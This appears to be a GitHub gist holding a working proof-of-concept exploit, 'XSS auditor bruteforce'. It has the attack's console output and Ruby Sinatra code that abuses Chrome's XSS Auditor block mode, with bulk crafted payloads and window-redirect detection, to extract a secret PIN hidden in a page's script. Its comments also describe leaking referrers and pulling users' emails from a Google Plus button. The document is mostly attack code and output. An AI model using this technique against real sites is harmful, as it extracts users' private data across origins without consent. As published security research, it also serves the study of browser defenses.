Create a gist now

Instantly share code, notes, and snippets.

@homakov /example output Secret
Last active Dec 13, 2015

XSS auditor bruteforce
Step: 25 0 390625 extract:69
Range: 0 15625 extract:44
Range: 15625 31250 extract:44
Range: 31250 46875 extract:44
Range: 46875 62500 extract:44
Range: 62500 78125 extract:44
Range: 78125 93750 extract:44
Range: 93750 109375 extract:44
Range: 109375 125000 extract:44
Range: 125000 140625 extract:44
Range: 140625 156250 extract:44
Range: 156250 171875 extract:44
Range: 171875 187500 extract:44
Range: 187500 203125 extract:44
Range: 203125 218750 extract:44
Range: 218750 234375 extract:44
Range: 234375 250000 extract:44
Range: 250000 265625 extract:44
Range: 265625 281250 extract:44
Range: 281250 296875 extract:44
Range: 296875 312500 extract:44
Range: 312500 328125 extract:44
Range: 328125 343750 extract:44
Range: 343750 359375 extract:44
Range: 359375 375000 extract:44
Range: 375000 390625 extract:44
Step: 25 156250 171875 extract:69
Range: 156250 156875 extract:44
Range: 156875 157500 extract:44
Range: 157500 158125 extract:44
Range: 158125 158750 extract:44
Range: 158750 159375 extract:44
Range: 159375 160000 extract:44
Range: 160000 160625 extract:44
Range: 160625 161250 extract:44
Range: 161250 161875 extract:44
Range: 161875 162500 extract:44
Range: 162500 163125 extract:44
Range: 163125 163750 extract:44
Range: 163750 164375 extract:44
Range: 164375 165000 extract:44
Range: 165000 165625 extract:44
Range: 165625 166250 extract:44
Range: 166250 166875 extract:44
Range: 166875 167500 extract:44
Range: 167500 168125 extract:44
Range: 168125 168750 extract:44
Range: 168750 169375 extract:44
Range: 169375 170000 extract:44
Range: 170000 170625 extract:44
Range: 170625 171250 extract:44
Range: 171250 171875 extract:44
Step: 25 162500 163125 extract:69
Range: 162500 162525 extract:44
Range: 162525 162550 extract:44
Range: 162550 162575 extract:44
Range: 162575 162600 extract:44
Range: 162600 162625 extract:44
Range: 162625 162650 extract:44
Range: 162650 162675 extract:44
Range: 162675 162700 extract:44
Range: 162700 162725 extract:44
Range: 162725 162750 extract:44
Range: 162750 162775 extract:44
Range: 162775 162800 extract:44
Range: 162800 162825 extract:44
Range: 162825 162850 extract:44
Range: 162850 162875 extract:44
Range: 162875 162900 extract:44
Range: 162900 162925 extract:44
Range: 162925 162950 extract:44
Range: 162950 162975 extract:44
Range: 162975 163000 extract:44
Range: 163000 163025 extract:44
Range: 163025 163050 extract:44
Range: 163050 163075 extract:44
Range: 163075 163100 extract:44
Range: 163100 163125 extract:44
Step: 25 162600 162625 extract:69
Range: 162600 162601 extract:44
Range: 162601 162602 extract:44
Range: 162602 162603 extract:44
Range: 162603 162604 extract:44
Range: 162604 162605 extract:44
Range: 162605 162606 extract:44
Range: 162606 162607 extract:44
Range: 162607 162608 extract:44
Range: 162608 162609 extract:44
Range: 162609 162610 extract:44
Range: 162610 162611 extract:44
Range: 162611 162612 extract:44
Range: 162612 162613 extract:44
Range: 162613 162614 extract:44
Range: 162614 162615 extract:44
Range: 162615 162616 extract:44
Range: 162616 162617 extract:44
Range: 162617 162618 extract:44
Range: 162618 162619 extract:44
Range: 162619 162620 extract:44
Range: 162620 162621 extract:44
Range: 162621 162622 extract:44
Range: 162622 162623 extract:44
Range: 162623 162624 extract:44
Range: 162624 162625
alert - 162621
require 'sinatra'
require 'securerandom'
disable :protection
=begin
1. REFERRER LEAK
2. DATA DETECTION(stealing pin code). TIMING ATTACK(not implemented)
With mode=block XSS Auditor redirects to about:blank, which inherits parent's origin. Thus we can detect if XSS Auditor has detected anything.
It searches through all scripts, which have private data inside, thus we can pass *crafted payloads* to detect what is stored in the script.
This is especially simple using POST: body of request can contain several MB of values.
Using splitting and auditor we finally figure out what value is hidden in Javascript.
In this Proof of concept we use private data as:
<script>pin="#{pin_code}"</script>
where pin_code is 4 digits value.
Caveats:
Max amount of windows allowed in chrome: 25
If target has no X Frame Options header we can use much more iframes to speed up.
Flow:
we send 10 requests with 1000 values in each. Chrome blocks one of them - then we split 100 into ten requests with 100 and so on until we figure out original value.
can be in #fragment
Pic:
http://cl.ly/image/1m2F1J0T2L3k
http://cl.ly/image/3h0L3j1U0t3b
case insensitive
extracting email from Google Plus button:
https://plusone.google.com/_/+1/fastbutton?url=http://q1w2e3.com
moving generation logic to server side
=end
#EXTRACTION
token = lambda do
pin_code = '162621';
headers['X-XSS-Protection'] = '1;mode=block'
return r=<<HTML
<html>
<head>
<script>pin="#{pin_code}"</script>
</head>
</html>
HTML
end
get '/token', &token
post '/token', &token
get '/extract' do
return r=<<HTML
<html>
<head>
<script>
var log = console.log.bind(console);
var split_step = [25,25,25,25];
var win = [];
var wrap = function(code){
return '<script>pin="'+code+'"';
}
// accepts from..to
var ping = function(from, to, id){
//var ifr = document.getElementById('ifr0');
//var poster = document.getElementById('poster');
var path = "http://localhost:4567/token?";
var payload = '';
var current = from;
while(current<to){
payload += (wrap(current));
current++;
}
if(win[id]){
if(win[id].w){
win[id].w.close();
delete(win[id].w);
}
}else{
win[id]= {};
}
//GET
//win[id].w=window.open(path+'?q='+encodeURIComponent(payload));
//fragment
win[id].w=window.open(path+'#'+payload);
//POST
//win[id].w=window.open('data:text/html,<form id="poster" method="post" action="http://localhost:4567/token?"><textarea name="q">'+payload+'</textarea></form><script>poster.submit()<'+'/script>');
if(win[id].w){
log('Range:', from, to);
win[id].from = from;
win[id].to = to;
return true;
}else{
log('We are banned!');
return false
}
}
var splitter = function(from, to){
if(to - from == 1){
clearInterval(checker);
alert("Found?: "+from);
search = false;
closeAll();
}else{
var cur_step = split_step[step_num];
log('Step: ',cur_step,from,to);
var per_one = (to-from) / cur_step;
for(var cur=0;cur < cur_step;cur++){
var f = from+cur*per_one;
var t = from+(cur+1)*per_one
success = ping(f,t, cur);
if(success == false){
closeAll();
search = false;
setTimeout(function(){
log('Again!')
splitter(from,to);
},2000)
return false;
}
}
search = true;
step_num++;
//huge payload - longer time
setTimeout(checker, step_num==1 ? 3000 : 2000);
}
}
var eachWin = function(fn){
for(var i=0;i<win.length;i++){
fn(i, win[i]);
}
}
var closeAll = function(){
eachWin(function(k,v){
if(v.w){
v.w.close();
delete(v.w);
}
})
}
var checker = function(){
if(search){
for(var i=0;i<win.length;i++){
v = win[i];
if(v.w && v.w.location && v.w.location.href=='about:blank'){
// detected!
search = false;
closeAll();
setTimeout(function(){
splitter(v.from,v.to);
},3000);
return true;
}
}
//nothing? go ahead
if(step_num==1){
next_bunch();
}else{
setTimeout(checker,500);
}
}
}
var bunch_size=split_step.reduce(function(inj,k){
return inj*k;
})
var current_start = 0;
var max = 1000000;
next_bunch=function(){
if(current_start > max){
log('Whoops');
}else{
search = false;
step_num = 0;
splitter(current_start,current_start+bunch_size)
current_start+=bunch_size;
}
}
window.onload=function(){
next_bunch();
}
</script>
</head>
<body>
<iframe id="ifr0" style="display:none"></iframe>
</body>
</html>
HTML
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment